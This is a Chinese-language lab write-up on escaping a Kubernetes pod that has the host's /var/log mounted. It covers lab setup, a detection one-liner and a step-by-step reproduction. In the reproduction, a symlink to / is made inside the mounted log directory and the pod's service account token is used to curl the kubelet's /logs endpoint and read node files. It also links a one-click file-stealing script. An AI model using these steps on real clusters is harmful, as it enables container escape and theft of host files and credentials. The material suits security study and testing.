k8s 下挂载 /var/log 逃逸
# 0x00 前言
这里用单纯的挂载/var/log 来形容这个逃逸的触发条件其实不太严谨,需要满足如下条件。
- 挂载了/var/log
- 容器是在一个 k8s 的环境中
- 当前 pod 的 serviceaccount 拥有 get|list|watch log 的权限
# 0x01 环境搭建
git clone https://github.com/Metarget/metarget.git
cd metarget/
pip3 install -r requirements.txt
./metarget gadget install k8s --version 1.16.5
./metarget cnv install mount-var-log
1
2
3
4
5
2
3
4
5
或者在 k8s 中执行以下配置文件
apiVersion: v1
kind: ServiceAccount
metadata:
name: logger
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: user-log-reader
rules:
- apiGroups: [""]
resources:
- nodes/log
verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: user-log-reader
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: user-log-reader
subjects:
- kind: ServiceAccount
name: logger
namespace: default
---
apiVersion: v1
kind: Pod
metadata:
name: escaper
spec:
serviceAccountName: logger
containers:
- name: escaper
image: danielsagi/kube-pod-escape
volumeMounts:
- name: logs
mountPath: /var/log/host
volumes:
- name: logs
hostPath:
path: /var/log/
type: Directory
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# 0x02 漏洞检测
前提是处于 k8s 环境下,漏洞检测才有意义
find / -name lastlog 2>/dev/null | wc -l | grep -q 3 && echo "/var/log is mounted." || echo "/var/log is not mounted."
1
# 0x03 漏洞复现
进入容器
kubectl exec --stdin --tty escaper -- /bin/bash
1
这里的 /var/log 目标挂载到了 /var/log/host 下,创建软链接
cd /var/log/host
ln -s / ./root_link
1
2
2
这时就可以访问到 node 节点上的文件了
token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k https://172.17.0.1:10250/logs/root_link/ -H "Authorization: Bearer $token"
1
2
2
或者直接使用脚本,一键窃取敏感文件 https://github.com/danielsagi/kube-pod-escape